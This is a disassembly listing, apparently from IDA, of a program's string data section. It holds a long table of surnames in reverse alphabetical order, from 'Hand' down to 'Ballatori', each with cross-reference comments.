aHand		db 'Hand',0             ; DATA XREF: ___:0042E3C4o
		align 4
aHammerness	db 'Hammerness',0       ; DATA XREF: ___:0042E3C0o
		align 4
aHamer		db 'Hamer',0            ; DATA XREF: ___:0042E3BCo
		align 10h
aHambarzumjan	db 'Hambarzumjan',0     ; DATA XREF: ___:0042E3B8o
		align 10h
aHalpert	db 'Halpert',0          ; DATA XREF: ___:0042E3B4o
aHallowell	db 'Hallowell',0        ; DATA XREF: ___:0042E3B0o
		align 4
aHalkias	db 'Halkias',0          ; DATA XREF: ___:0042E3ACo
aHaley		db 'Haley',0            ; DATA XREF: ___:0042E3A8o
		align 4
aHackshaw	db 'Hackshaw',0         ; DATA XREF: ___:0042E3A4o
		align 10h
aHackman	db 'Hackman',0          ; DATA XREF: ___:0042E3A0o
aHaar		db 'Haar',0             ; DATA XREF: ___:0042E39Co
		align 10h
aHa		db 'Ha',0               ; DATA XREF: ___:0042E398o
		align 4
aGuo		db 'Guo',0              ; DATA XREF: ___:0042E394o
aGunn		db 'Gunn',0             ; DATA XREF: ___:0042E390o
		align 10h
aGuenthart	db 'Guenthart',0        ; DATA XREF: ___:0042E38Co
		align 4
aGruppe		db 'Gruppe',0           ; DATA XREF: ___:0042E388o
		align 4
aGruner		db 'Gruner',0           ; DATA XREF: ___:0042E384o
		align 4
aGrummell	db 'Grummell',0         ; DATA XREF: ___:0042E380o
		align 4
aGrigoletto	db 'Grigoletto',0       ; DATA XREF: ___:0042E37Co
		align 4
aGriffiths	db 'Griffiths',0        ; DATA XREF: ___:0042E378o
		align 10h
aGreenfeld	db 'Greenfeld',0        ; DATA XREF: ___:0042E374o
		align 4
aGreenberg	db 'Greenberg',0        ; DATA XREF: ___:0042E370o
		align 4
aGravell	db 'Gravell',0          ; DATA XREF: ___:0042E36Co
aGozzi		db 'Gozzi',0            ; DATA XREF: ___:0042E368o
		align 4
aGoody		db 'Goody',0            ; DATA XREF: ___:0042E364o
		align 10h
aGoodearl	db 'Goodearl',0         ; DATA XREF: ___:0042E360o
		align 4
aGood		db 'Good',0             ; DATA XREF: ___:0042E35Co
		align 4
aGoncalves	db 'Goncalves',0        ; DATA XREF: ___:0042E358o
		align 10h
aGoldfarb	db 'Goldfarb',0         ; DATA XREF: ___:0042E354o
		align 4
aGlendon	db 'Glendon',0          ; DATA XREF: ___:0042E350o
aGlegg		db 'Glegg',0            ; DATA XREF: ___:0042E34Co
		align 4
aGleason	db 'Gleason',0          ; DATA XREF: ___:0042E348o
aGist		db 'Gist',0             ; DATA XREF: ___:0042E344o
		align 4
aGillispie	db 'Gillispie',0        ; DATA XREF: ___:0042E340o
		align 4
aGill		db 'Gill',0             ; DATA XREF: ___:0042E33Co
		align 10h
aGili		db 'Gili',0             ; DATA XREF: ___:0042E338o
		align 4
aGilbert	db 'Gilbert',0          ; DATA XREF: ___:0042E334o
aGibson		db 'Gibson',0           ; DATA XREF: ___:0042E330o
		align 4
aGibbens	db 'Gibbens',0          ; DATA XREF: ___:0042E32Co
aGhorai		db 'Ghorai',0           ; DATA XREF: ___:0042E328o
		align 4
aGerrett	db 'Gerrett',0          ; DATA XREF: ___:0042E324o
aGeorgi		db 'Georgi',0           ; DATA XREF: ___:0042E320o
		align 4
aGemberling	db 'Gemberling',0       ; DATA XREF: ___:0042E31Co
		align 4
aGeller		db 'Geller',0           ; DATA XREF: ___:0042E318o
		align 4
aGaronna	db 'Garonna',0          ; DATA XREF: ___:0042E314o
aGarman		db 'Garman',0           ; DATA XREF: ___:0042E310o
		align 4
aGarfield	db 'Garfield',0         ; DATA XREF: ___:0042E30Co
		align 4
aGambini	db 'Gambini',0          ; DATA XREF: ___:0042E308o
aGalwey		db 'Galwey',0           ; DATA XREF: ___:0042E304o
		align 4
aGaleotti	db 'Galeotti',0         ; DATA XREF: ___:0042E300o
		align 4
aGaggiotti	db 'Gaggiotti',0        ; DATA XREF: ___:0042E2FCo
		align 10h
aGabrielli	db 'Gabrielli',0        ; DATA XREF: ___:0042E2F8o
		align 4
aFusaro		db 'Fusaro',0           ; DATA XREF: ___:0042E2F4o
		align 4
aFurth		db 'Furth',0            ; DATA XREF: ___:0042E2F0o
		align 4
aFuller		db 'Fuller',0           ; DATA XREF: ___:0042E2ECo
		align 4
aFujiiAbe	db 'Fujii-Abe',0        ; DATA XREF: ___:0042E2E8o
		align 10h
aFrye		db 'Frye',0             ; DATA XREF: ___:0042E2E4o
		align 4
aFryberger	db 'Fryberger',0        ; DATA XREF: ___:0042E2E0o
		align 4
aFrowiss	db 'Frowiss',0          ; DATA XREF: ___:0042E2DCo
aFrisken	db 'Frisken',0          ; DATA XREF: ___:0042E2D8o
aFriedland	db 'Friedland',0        ; DATA XREF: ___:0042E2D4o
		align 10h
aFried		db 'Fried',0            ; DATA XREF: ___:0042E2D0o
		align 4
aFreundlich	db 'Freundlich',0       ; DATA XREF: ___:0042E2CCo
		align 4
aFreid		db 'Freid',0            ; DATA XREF: ___:0042E2C8o
		align 4
aFrazierDavis	db 'Frazier-Davis',0    ; DATA XREF: ___:0042E2C4o
		align 4
aFranz		db 'Franz',0            ; DATA XREF: ___:0042E2C0o
		align 4
aFranklinKenea	db 'Franklin-Kenea',0   ; DATA XREF: ___:0042E2BCo
		align 4
aFrancisco	db 'Francisco',0        ; DATA XREF: ___:0042E2B8o
		align 10h
aFossi		db 'Fossi',0            ; DATA XREF: ___:0042E2B4o
		align 4
aFossey		db 'Fossey',0           ; DATA XREF: ___:0042E2B0o
		align 10h
aFortier	db 'Fortier',0          ; DATA XREF: ___:0042E2ACo
aFortes		db 'Fortes',0           ; DATA XREF: ___:0042E2A8o
		align 10h
aForester	db 'Forester',0         ; DATA XREF: ___:0042E2A4o
		align 4
aFolks		db 'Folks',0            ; DATA XREF: ___:0042E2A0o
		align 4
aFlores		db 'Flores',0           ; DATA XREF: ___:0042E29Co
		align 4
aFlier		db 'Flier',0            ; DATA XREF: ___:0042E298o
		align 4
aFitzmaurice	db 'Fitzmaurice',0      ; DATA XREF: ___:0042E294o
aFisk		db 'Fisk',0             ; DATA XREF: ___:0042E290o
		align 4
aFiorina	db 'Fiorina',0          ; DATA XREF: ___:0042E28Co
aFinnegan	db 'Finnegan',0         ; DATA XREF: ___:0042E288o
		align 4
aFinkelstein	db 'Finkelstein',0      ; DATA XREF: ___:0042E284o
aFink		db 'Fink',0             ; DATA XREF: ___:0042E280o
		align 10h
aField		db 'Field',0            ; DATA XREF: ___:0042E27Co
		align 4
aFido		db 'Fido',0             ; DATA XREF: ___:0042E278o
		align 10h
aFeuer		db 'Feuer',0            ; DATA XREF: ___:0042E274o
		align 4
aFerriell	db 'Ferriell',0         ; DATA XREF: ___:0042E270o
		align 4
aFerrante	db 'Ferrante',0         ; DATA XREF: ___:0042E26Co
		align 10h
aFernandes	db 'Fernandes',0        ; DATA XREF: ___:0042E268o
		align 4
aFernald	db 'Fernald',0          ; DATA XREF: ___:0042E264o
aFeldman	db 'Feldman',0          ; DATA XREF: ___:0042E260o
aFejzo		db 'Fejzo',0            ; DATA XREF: ___:0042E25Co
		align 4
aFeigenbaum	db 'Feigenbaum',0       ; DATA XREF: ___:0042E258o
		align 10h
aFates		db 'Fates',0            ; DATA XREF: ___:0042E254o
		align 4
aFasso		db 'Fasso',27h,0        ; DATA XREF: ___:0042E250o
		align 10h
aFarren		db 'Farren',0           ; DATA XREF: ___:0042E24Co
		align 4
aFarone		db 'Farone',0           ; DATA XREF: ___:0042E248o
		align 10h
aFaris		db 'Faris',0            ; DATA XREF: ___:0042E244o
		align 4
aFalorsi	db 'Falorsi',0          ; DATA XREF: ___:0042E240o
aFalcoAcosta	db 'Falco-Acosta',0     ; DATA XREF: ___:0042E23Co
		align 10h
aFaioes		db 'Faioes',0           ; DATA XREF: ___:0042E238o
		align 4
aFagan		db 'Fagan',0            ; DATA XREF: ___:0042E234o
		align 10h
aFabbris	db 'Fabbris',0          ; DATA XREF: ___:0042E230o
aEverett	db 'Everett',0          ; DATA XREF: ___:0042E22Co
aEuripides	db 'Euripides',0        ; DATA XREF: ___:0042E228o
		align 4
aEtter		db 'Etter',0            ; DATA XREF: ___:0042E224o
		align 4
aEstes		db 'Estes',0            ; DATA XREF: ___:0042E220o
		align 4
aEspinoza	db 'Espinoza',0         ; DATA XREF: ___:0042E21Co
		align 4
aErez		db 'Erez',0             ; DATA XREF: ___:0042E218o
		align 10h
aErdos		db 'Erdos',0            ; DATA XREF: ___:0042E214o
		align 4
aErdman		db 'Erdman',0           ; DATA XREF: ___:0042E210o
		align 10h
aErbach		db 'Erbach',0           ; DATA XREF: ___:0042E20Co
		align 4
aEppling	db 'Eppling',0          ; DATA XREF: ___:0042E208o
aEnyeart	db 'Enyeart',0          ; DATA XREF: ___:0042E204o
aEncinas	db 'Encinas',0          ; DATA XREF: ___:0042E200o
aElvis		db 'Elvis',0            ; DATA XREF: ___:0042E1FCo
		align 4
aElmerick	db 'Elmerick',0         ; DATA XREF: ___:0042E1F8o
		align 4
aElmendorf	db 'Elmendorf',0        ; DATA XREF: ___:0042E1F4o
		align 10h
aEliasson	db 'Eliasson',0         ; DATA XREF: ___:0042E1F0o
		align 4
aEickenhorst	db 'Eickenhorst',0      ; DATA XREF: ___:0042E1ECo
aEdward		db 'Edward',0           ; DATA XREF: ___:0042E1E8o
		align 10h
aEdner		db 'Edner',0            ; DATA XREF: ___:0042E1E4o
		align 4
aEdley		db 'Edley',0            ; DATA XREF: ___:0042E1E0o
		align 10h
aEckel		db 'Eckel',0            ; DATA XREF: ___:0042E1DCo
		align 4
aEbeling	db 'Ebeling',0          ; DATA XREF: ___:0042E1D8o
aEardley	db 'Eardley',0          ; DATA XREF: ___:0042E1D4o
aDwyer		db 'Dwyer',0            ; DATA XREF: ___:0042E1D0o
		align 10h
aDussault	db 'Dussault',0         ; DATA XREF: ___:0042E1CCo
		align 4
aDurrett	db 'Durrett',0          ; DATA XREF: ___:0042E1C8o
aDuffin		db 'Duffin',0           ; DATA XREF: ___:0042E1C4o
		align 4
aDSouza		db 'D',27h,'souza',0    ; DATA XREF: ___:0042E1C0o
aDrinker	db 'Drinker',0          ; DATA XREF: ___:0042E1BCo
aDowsland	db 'Dowsland',0         ; DATA XREF: ___:0042E1B8o
		align 4
aDoug		db 'Doug',0             ; DATA XREF: ___:0042E1B4o
		align 10h
aDoty		db 'Doty',0             ; DATA XREF: ___:0042E1B0o
		align 4
aDosi		db 'Dosi',0             ; DATA XREF: ___:0042E1ACo
		align 10h
aDorf		db 'Dorf',0             ; DATA XREF: ___:0042E1A8o
		align 4
aDore		db 'Dore',0             ; DATA XREF: ___:0042E1A4o
		align 10h
aDoonan		db 'Doonan',0           ; DATA XREF: ___:0042E1A0o
		align 4
aDonner		db 'Donner',0           ; DATA XREF: ___:0042E19Co
		align 10h
aDonahue	db 'Donahue',0          ; DATA XREF: ___:0042E198o
aDoherty	db 'Doherty',0          ; DATA XREF: ___:0042E194o
aDockery	db 'Dockery',0          ; DATA XREF: ___:0042E190o
aDirksen	db 'Dirksen',0          ; DATA XREF: ___:0042E18Co
aDionysius	db 'Dionysius',0        ; DATA XREF: ___:0042E188o
		align 4
aDilworth	db 'Dilworth',0         ; DATA XREF: ___:0042E184o
		align 4
aDifronzo	db 'Difronzo',0         ; DATA XREF: ___:0042E180o
		align 4
aDifabio	db 'Difabio',0          ; DATA XREF: ___:0042E17Co
aDiefenbach	db 'Diefenbach',0       ; DATA XREF: ___:0042E178o
		align 4
aDicks		db 'Dicks',0            ; DATA XREF: ___:0042E174o
		align 10h
aDFini		db 'D',27h,'fini',0     ; DATA XREF: ___:0042E170o
		align 4
aDeutsch	db 'Deutsch',0          ; DATA XREF: ___:0042E16Co
aDesombre	db 'Desombre',0         ; DATA XREF: ___:0042E168o
		align 4
aDenison	db 'Denison',0          ; DATA XREF: ___:0042E164o
aDenham		db 'Denham',0           ; DATA XREF: ___:0042E160o
		align 4
aDenault	db 'Denault',0          ; DATA XREF: ___:0042E15Co
aDemusz		db 'Demusz',0           ; DATA XREF: ___:0042E158o
		align 4
aDempster	db 'Dempster',0         ; DATA XREF: ___:0042E154o
		align 4
aDeming		db 'Deming',0           ; DATA XREF: ___:0042E150o
		align 10h
aDellAcqua	db 'Dell',27h,'acqua',0 ; DATA XREF: ___:0042E14Co
		align 4
aDelger		db 'Delger',0           ; DATA XREF: ___:0042E148o
		align 4
aDeleonRendon	db 'Deleon-Rendon',0    ; DATA XREF: ___:0042E144o
		align 4
aDelattre	db 'Delattre',0         ; DATA XREF: ___:0042E140o
		align 10h
aDefeciani	db 'Defeciani',0        ; DATA XREF: ___:0042E13Co
		align 4
aDees		db 'Dees',0             ; DATA XREF: ___:0042E138o
		align 4
aDebroff	db 'Debroff',0          ; DATA XREF: ___:0042E134o
aDerousse	db 'deRousse',0         ; DATA XREF: ___:0042E130o
		align 4
aDelEnclos	db 'del',27h,'Enclos',0 ; DATA XREF: ___:0042E12Co
		align 4
aDelapena	db 'DeLaPena',0         ; DATA XREF: ___:0042E128o
		align 10h
aDegennaro	db 'DeGennaro',0        ; DATA XREF: ___:0042E124o
		align 4
aDawkins	db 'Dawkins',0          ; DATA XREF: ___:0042E120o
aDavid		db 'David',0            ; DATA XREF: ___:0042E11Co
		align 4
aDaskalu	db 'Daskalu',0          ; DATA XREF: ___:0042E118o
aDasgupta	db 'Dasgupta',0         ; DATA XREF: ___:0042E114o
		align 10h
aDas		db 'Das',0              ; DATA XREF: ___:0042E110o
aDArcangelo	db 'D',27h,'arcangelo',0 ; DATA XREF: ___:0042E10Co
aDapice		db 'Dapice',0           ; DATA XREF: ___:0042E108o
		align 4
aDante		db 'Dante',0            ; DATA XREF: ___:0042E104o
		align 10h
aDanieli	db 'Danieli',0          ; DATA XREF: ___:0042E100o
aDAmbra		db 'D',27h,'Ambra',0    ; DATA XREF: ___:0042E0FCo
aDaly		db 'Daly',0             ; DATA XREF: ___:0042E0F8o
		align 4
aDaldalian	db 'Daldalian',0        ; DATA XREF: ___:0042E0F4o
		align 4
aDasilva	db 'daSilva',0          ; DATA XREF: ___:0042E0F0o
aCyders		db 'Cyders',0           ; DATA XREF: ___:0042E0ECo
		align 4
aCvek		db 'Cvek',0             ; DATA XREF: ___:0042E0E8o
		align 4
aCutler		db 'Cutler',0           ; DATA XREF: ___:0042E0E4o
		align 4
aCurrier	db 'Currier',0          ; DATA XREF: ___:0042E0E0o
aCui		db 'Cui',0              ; DATA XREF: ___:0042E0DCo
aCroxton	db 'Croxton',0          ; DATA XREF: ___:0042E0D8o
aCroxen		db 'Croxen',0           ; DATA XREF: ___:0042E0D4o
		align 10h
aCroshaw	db 'Croshaw',0          ; DATA XREF: ___:0042E0D0o
aCrocker	db 'Crocker',0          ; DATA XREF: ___:0042E0CCo
aCrawford	db 'Crawford',0         ; DATA XREF: ___:0042E0C8o
		align 4
aCoutaux	db 'Coutaux',0          ; DATA XREF: ___:0042E0C4o
aCounter	db 'Counter',0          ; DATA XREF: ___:0042E0C0o
aCosmides	db 'Cosmides',0         ; DATA XREF: ___:0042E0BCo
		align 4
aCornish	db 'Cornish',0          ; DATA XREF: ___:0042E0B8o
aCorey		db 'Corey',0            ; DATA XREF: ___:0042E0B4o
		align 4
aConnors	db 'Connors',0          ; DATA XREF: ___:0042E0B0o
aCondodina	db 'Condodina',0        ; DATA XREF: ___:0042E0ACo
		align 4
aConcino	db 'Concino',0          ; DATA XREF: ___:0042E0A8o
aComstock	db 'Comstock',0         ; DATA XREF: ___:0042E0A4o
		align 10h
aCompton	db 'Compton',0          ; DATA XREF: ___:0042E09Co
					; ___:0042E0A0o
aCollis		db 'Collis',0           ; DATA XREF: ___:0042E098o
		align 10h
aCollard	db 'Collard',0          ; DATA XREF: ___:0042E094o
aColella	db 'Colella',0          ; DATA XREF: ___:0042E090o
aColdren	db 'Coldren',0          ; DATA XREF: ___:0042E08Co
aCoito		db 'Coito',0            ; DATA XREF: ___:0042E088o
		align 10h
aCoblenz	db 'Coblenz',0          ; DATA XREF: ___:0042E084o
aClow		db 'Clow',0             ; DATA XREF: ___:0042E080o
		align 10h
aClifton	db 'Clifton',0          ; DATA XREF: ___:0042E07Co
aClement	db 'Clement',0          ; DATA XREF: ___:0042E078o
aClark		db 'Clark',0            ; DATA XREF: ___:0042E074o
		align 4
aClancy		db 'Clancy',0           ; DATA XREF: ___:0042E070o
		align 10h
aClaffey	db 'Claffey',0          ; DATA XREF: ___:0042E06Co
aCifarelli	db 'Cifarelli',0        ; DATA XREF: ___:0042E068o
		align 4
aCicero		db 'Cicero',0           ; DATA XREF: ___:0042E064o
		align 4
aCiampaglia	db 'Ciampaglia',0       ; DATA XREF: ___:0042E060o
		align 4
aChurch		db 'Church',0           ; DATA XREF: ___:0042E05Co
		align 10h
aChupasko	db 'Chupasko',0         ; DATA XREF: ___:0042E058o
		align 4
aChu		db 'Chu',0              ; DATA XREF: ___:0042E054o
aChristopher	db 'Christopher',0      ; DATA XREF: ___:0042E050o
aChristie	db 'Christie',0         ; DATA XREF: ___:0042E04Co
		align 4
aChristiano	db 'Christiano',0       ; DATA XREF: ___:0042E048o
		align 4
aChristian	db 'Christian',0        ; DATA XREF: ___:0042E044o
		align 10h
aChristenson	db 'Christenson',0      ; DATA XREF: ___:0042E040o
aChinman	db 'Chinman',0          ; DATA XREF: ___:0042E03Co
aChinipardaz	db 'Chinipardaz',0      ; DATA XREF: ___:0042E038o
aChilds		db 'Childs',0           ; DATA XREF: ___:0042E034o
		align 4
aChildress	db 'Childress',0        ; DATA XREF: ___:0042E030o
		align 4
aChien		db 'Chien',0            ; DATA XREF: ___:0042E02Co
		align 4
aChiassino	db 'Chiassino',0        ; DATA XREF: ___:0042E028o
		align 4
aChervinsky	db 'Chervinsky',0       ; DATA XREF: ___:0042E024o
		align 4
aCherry		db 'Cherry',0           ; DATA XREF: ___:0042E020o
		align 4
aCheang		db 'Cheang',0           ; DATA XREF: ___:0042E01Co
		align 4
aCharles	db 'Charles',0          ; DATA XREF: ___:0042E018o
aChapman	db 'Chapman',0          ; DATA XREF: ___:0042E014o
aCerioli	db 'Cerioli',0          ; DATA XREF: ___:0042E010o
aCeniceros	db 'Ceniceros',0        ; DATA XREF: ___:0042E00Co
		align 4
aCavell		db 'Cavell',0           ; DATA XREF: ___:0042E008o
		align 10h
aCavanagh	db 'Cavanagh',0         ; DATA XREF: ___:0042E004o
		align 4
aCastelda	db 'Castelda',0         ; DATA XREF: ___:0042E000o
		align 4
aCaspar		db 'Caspar',0           ; DATA XREF: ___:0042DFFCo
		align 10h
aCase		db 'Case',0             ; DATA XREF: ___:0042DFF8o
		align 4
aCascio		db 'Cascio',0           ; DATA XREF: ___:0042DFF4o
		align 10h
aCartmill	db 'Cartmill',0         ; DATA XREF: ___:0042DFF0o
		align 4
aCarper		db 'Carper',0           ; DATA XREF: ___:0042DFECo
		align 4
aCaroti		db 'Caroti',0           ; DATA XREF: ___:0042DFE8o
		align 4
aCarmichael	db 'Carmichael',0       ; DATA XREF: ___:0042DFE4o
		align 4
aCarlyle	db 'Carlyle',0          ; DATA XREF: ___:0042DFE0o
aCarlos		db 'Carlos',0           ; DATA XREF: ___:0042DFDCo
		align 4
aCarlin		db 'Carlin',0           ; DATA XREF: ___:0042DFD8o
		align 10h
aCarayannopoulo	db 'Carayannopoulos',0  ; DATA XREF: ___:0042DFD4o
aCaratozzolo	db 'Caratozzolo',0      ; DATA XREF: ___:0042DFD0o
aCapursi	db 'Capursi',0          ; DATA XREF: ___:0042DFCCo
aCappuccio	db 'Cappuccio',0        ; DATA XREF: ___:0042DFC8o
		align 10h
aCapodilupo	db 'Capodilupo',0       ; DATA XREF: ___:0042DFC4o
		align 4
aCapocaccia	db 'Capocaccia',0       ; DATA XREF: ___:0042DFC0o
		align 4
aCaperton	db 'Caperton',0         ; DATA XREF: ___:0042DFBCo
		align 4
aCapanni	db 'Capanni',0          ; DATA XREF: ___:0042DFB8o
aCanley		db 'Canley',0           ; DATA XREF: ___:0042DFB4o
		align 4
aCammilleri	db 'Cammilleri',0       ; DATA XREF: ___:0042DFB0o
		align 10h
aCammelli	db 'Cammelli',0         ; DATA XREF: ___:0042DFACo
		align 4
aCalnan		db 'Calnan',0           ; DATA XREF: ___:0042DFA8o
		align 4
aCage		db 'Cage',0             ; DATA XREF: ___:0042DFA4o
		align 4
aByrd		db 'Byrd',0             ; DATA XREF: ___:0042DFA0o
		align 4
aByerly		db 'Byerly',0           ; DATA XREF: ___:0042DF9Co
		align 4
aByatt		db 'Byatt',0            ; DATA XREF: ___:0042DF98o
		align 4
aBusetta	db 'Busetta',0          ; DATA XREF: ___:0042DF94o
aBurridge	db 'Burridge',0         ; DATA XREF: ___:0042DF90o
		align 4
aBurke		db 'Burke',0            ; DATA XREF: ___:0042DF8Co
		align 10h
aBurdzy		db 'Burdzy',0           ; DATA XREF: ___:0042DF88o
		align 4
aBurden		db 'Burden',0           ; DATA XREF: ___:0042DF84o
		align 10h
aBunton		db 'Bunton',0           ; DATA XREF: ___:0042DF80o
		align 4
aBullard	db 'Bullard',0          ; DATA XREF: ___:0042DF7Co
aBudding	db 'Budding',0          ; DATA XREF: ___:0042DF78o
aBuchan		db 'Buchan',0           ; DATA XREF: ___:0042DF74o
		align 10h
aBrzycki	db 'Brzycki',0          ; DATA XREF: ___:0042DF70o
aBrook		db 'Brook',0            ; DATA XREF: ___:0042DF6Co
		align 10h
aBroca		db 'Broca',0            ; DATA XREF: ___:0042DF68o
		align 4
aBritz		db 'Britz',0            ; DATA XREF: ___:0042DF64o
		align 10h
aBrinton	db 'Brinton',0          ; DATA XREF: ___:0042DF60o
aBridges	db 'Bridges',0          ; DATA XREF: ___:0042DF5Co
aBridgeman	db 'Bridgeman',0        ; DATA XREF: ___:0042DF58o
		align 4
aBrewer		db 'Brewer',0           ; DATA XREF: ___:0042DF50o
					; ___:0042DF54o
		align 4
aBrennan	db 'Brennan',0          ; DATA XREF: ___:0042DF4Co
aBrenan		db 'Brenan',0           ; DATA XREF: ___:0042DF48o
		align 4
aBreed		db 'Breed',0            ; DATA XREF: ___:0042DF44o
		align 4
aBrecht		db 'Brecht',0           ; DATA XREF: ___:0042DF40o
		align 4
aBradach	db 'Bradach',0          ; DATA XREF: ___:0042DF3Co
aBradac		db 'Bradac',0           ; DATA XREF: ___:0042DF38o
		align 4
aBracalente	db 'Bracalente',0       ; DATA XREF: ___:0042DF34o
		align 10h
aBoyne		db 'Boyne',0            ; DATA XREF: ___:0042DF30o
		align 4
aBoym		db 'Boym',0             ; DATA XREF: ___:0042DF2Co
		align 10h
aBoyland	db 'Boyland',0          ; DATA XREF: ___:0042DF28o
aBoyes		db 'Boyes',0            ; DATA XREF: ___:0042DF24o
		align 10h
aBoyajian	db 'Boyajian',0         ; DATA XREF: ___:0042DF20o
		align 4
aBoxer		db 'Boxer',0            ; DATA XREF: ___:0042DF1Co
		align 4
aBowers		db 'Bowers',0           ; DATA XREF: ___:0042DF18o
		align 4
aBourneuf	db 'Bourneuf',0         ; DATA XREF: ___:0042DF14o
		align 4
aBoudrot	db 'Boudrot',0          ; DATA XREF: ___:0042DF10o
aBoudin		db 'Boudin',0           ; DATA XREF: ___:0042DF0Co
		align 4
aBotosh		db 'Botosh',0           ; DATA XREF: ___:0042DF08o
		align 10h
aBothman	db 'Bothman',0          ; DATA XREF: ___:0042DF04o
aBossi		db 'Bossi',0            ; DATA XREF: ___:0042DF00o
		align 10h
aBorden		db 'Borden',0           ; DATA XREF: ___:0042DEFCo
		align 4
aBorack		db 'Borack',0           ; DATA XREF: ___:0042DEF8o
		align 10h
aBoorstin	db 'Boorstin',0         ; DATA XREF: ___:0042DEF4o
		align 4
aBoone		db 'Boone',0            ; DATA XREF: ___:0042DEF0o
		align 4
aBookbinder	db 'Bookbinder',0       ; DATA XREF: ___:0042DEECo
		align 10h
aBook		db 'Book',0             ; DATA XREF: ___:0042DEE8o
		align 4
aBontempo	db 'Bontempo',0         ; DATA XREF: ___:0042DEE4o
		align 4
aBoniface	db 'Boniface',0         ; DATA XREF: ___:0042DEE0o
		align 10h
aBonham		db 'Bonham',0           ; DATA XREF: ___:0042DEDCo
		align 4
aBoner		db 'Boner',0            ; DATA XREF: ___:0042DED8o
		align 10h
aBologna	db 'Bologna',0          ; DATA XREF: ___:0042DED4o
aBollinger	db 'Bollinger',0        ; DATA XREF: ___:0042DED0o
		align 4
aBolick		db 'Bolick',0           ; DATA XREF: ___:0042DECCo
		align 4
aBolger		db 'Bolger',0           ; DATA XREF: ___:0042DEC8o
		align 4
aBlyth		db 'Blyth',0            ; DATA XREF: ___:0042DEC4o
		align 4
aBloxham	db 'Bloxham',0          ; DATA XREF: ___:0042DEC0o
aBloemhof	db 'Bloemhof',0         ; DATA XREF: ___:0042DEBCo
		align 10h
aBloembergen	db 'Bloembergen',0      ; DATA XREF: ___:0042DEB8o
aBloch		db 'Bloch',0            ; DATA XREF: ___:0042DEB4o
		align 4
aBlizard	db 'Blizard',0          ; DATA XREF: ___:0042DEB0o
aBliss		db 'Bliss',0            ; DATA XREF: ___:0042DEACo
		align 4
aBlanke		db 'Blanke',0           ; DATA XREF: ___:0042DEA8o
		align 4
aBlakemore	db 'Blakemore',0        ; DATA XREF: ___:0042DEA4o
		align 4
aBlagg		db 'Blagg',0            ; DATA XREF: ___:0042DEA0o
		align 10h
aBlackwell	db 'Blackwell',0        ; DATA XREF: ___:0042DE9Co
		align 4
aBlackbourn	db 'Blackbourn',0       ; DATA XREF: ___:0042DE98o
		align 4
aBisho		db 'Bisho',0            ; DATA XREF: ___:0042DE94o
		align 10h
aBisema		db 'Bisema',0           ; DATA XREF: ___:0042DE90o
		align 4
aBir		db 'Bir',0              ; DATA XREF: ___:0042DE8Co
aBinion		db 'Binion',0           ; DATA XREF: ___:0042DE88o
		align 4
aBickel		db 'Bickel',0           ; DATA XREF: ___:0042DE84o
		align 4
aBiagioli	db 'Biagioli',0         ; DATA XREF: ___:0042DE80o
		align 4
aBeynart	db 'Beynart',0          ; DATA XREF: ___:0042DE7Co
aBetti		db 'Betti',0            ; DATA XREF: ___:0042DE78o
		align 4
aBerrizbeitia	db 'Berrizbeitia',0     ; DATA XREF: ___:0042DE74o
		align 4
aBernston	db 'Bernston',0         ; DATA XREF: ___:0042DE70o
		align 4
aBernassola	db 'Bernassola',0       ; DATA XREF: ___:0042DE6Co
		align 10h
aBernardo	db 'Bernardo',0         ; DATA XREF: ___:0042DE68o
		align 4
aBerkeJenkins	db 'Berke-Jenkins',0    ; DATA XREF: ___:0042DE64o
		align 4
aBergson	db 'Bergson',0          ; DATA XREF: ___:0042DE60o
aBenedictDye	db 'Benedict-Dye',0     ; DATA XREF: ___:0042DE5Co
		align 4
aBelloc		db 'Belloc',0           ; DATA XREF: ___:0042DE58o
		align 4
aBellini	db 'Bellini',0          ; DATA XREF: ___:0042DE54o
aBellhouse	db 'Bellhouse',0        ; DATA XREF: ___:0042DE50o
		align 10h
aBellavance	db 'Bellavance',0       ; DATA XREF: ___:0042DE4Co
		align 4
aBelinCollart	db 'Belin-Collart',0    ; DATA XREF: ___:0042DE48o
		align 4
aBelfer		db 'Belfer',0           ; DATA XREF: ___:0042DE44o
		align 4
aBelaoussof	db 'Belaoussof',0       ; DATA XREF: ___:0042DE40o
		align 10h
aBelanger	db 'Belanger',0         ; DATA XREF: ___:0042DE3Co
		align 4
aBehenna	db 'Behenna',0          ; DATA XREF: ___:0042DE38o
aBedford	db 'Bedford',0          ; DATA XREF: ___:0042DE34o
aBeder		db 'Beder',0            ; DATA XREF: ___:0042DE30o
		align 4
aBeckman	db 'Beckman',0          ; DATA XREF: ___:0042DE2Co
aBean		db 'Bean',0             ; DATA XREF: ___:0042DE28o
		align 4
aBeal		db 'Beal',0             ; DATA XREF: ___:0042DE24o
		align 4
aBeacon		db 'Beacon',0           ; DATA XREF: ___:0042DE20o
		align 4
aBayo		db 'Bayo',0             ; DATA XREF: ___:0042DE1Co
		align 4
aBayles		db 'Bayles',0           ; DATA XREF: ___:0042DE18o
		align 4
aBaumiller	db 'Baumiller',0        ; DATA XREF: ___:0042DE14o
		align 10h
aBatchelder	db 'Batchelder',0       ; DATA XREF: ___:0042DE10o
		align 4
aBashevis	db 'Bashevis',0         ; DATA XREF: ___:0042DE0Co
		align 4
aBasavappa	db 'Basavappa',0        ; DATA XREF: ___:0042DE08o
		align 4
aBartoo		db 'Bartoo',0           ; DATA XREF: ___:0042DE04o
		align 4
aBartolome	db 'Bartolome',0        ; DATA XREF: ___:0042DE00o
		align 4
aBartholomew	db 'Bartholomew',0      ; DATA XREF: ___:0042DDFCo
aBarry		db 'Barry',0            ; DATA XREF: ___:0042DDF8o
		align 4
aBarriola	db 'Barriola',0         ; DATA XREF: ___:0042DDF4o
		align 4
aBarnett	db 'Barnett',0          ; DATA XREF: ___:0042DDF0o
aBarneson	db 'Barneson',0         ; DATA XREF: ___:0042DDECo
		align 4
aBarbetti	db 'Barbetti',0         ; DATA XREF: ___:0042DDE8o
		align 4
aBarberi	db 'Barberi',0          ; DATA XREF: ___:0042DDE4o
aBaranowska	db 'Baranowska',0       ; DATA XREF: ___:0042DDE0o
		align 4
aBaranczak	db 'Baranczak',0        ; DATA XREF: ___:0042DDDCo
		align 4
aBarajas	db 'Barajas',0          ; DATA XREF: ___:0042DDD8o
aBarabesi	db 'Barabesi',0         ; DATA XREF: ___:0042DDD4o
		align 4
aBanta		db 'Banta',0            ; DATA XREF: ___:0042DDD0o
		align 4
aBaltz		db 'Baltz',0            ; DATA XREF: ___:0042DDCCo
		align 4
aBallew		db 'Ballew',0           ; DATA XREF: ___:0042DDC8o
		align 4
aBallatori	db 'Ballatori',0        ; DATA XREF: ___:0042DDC4o
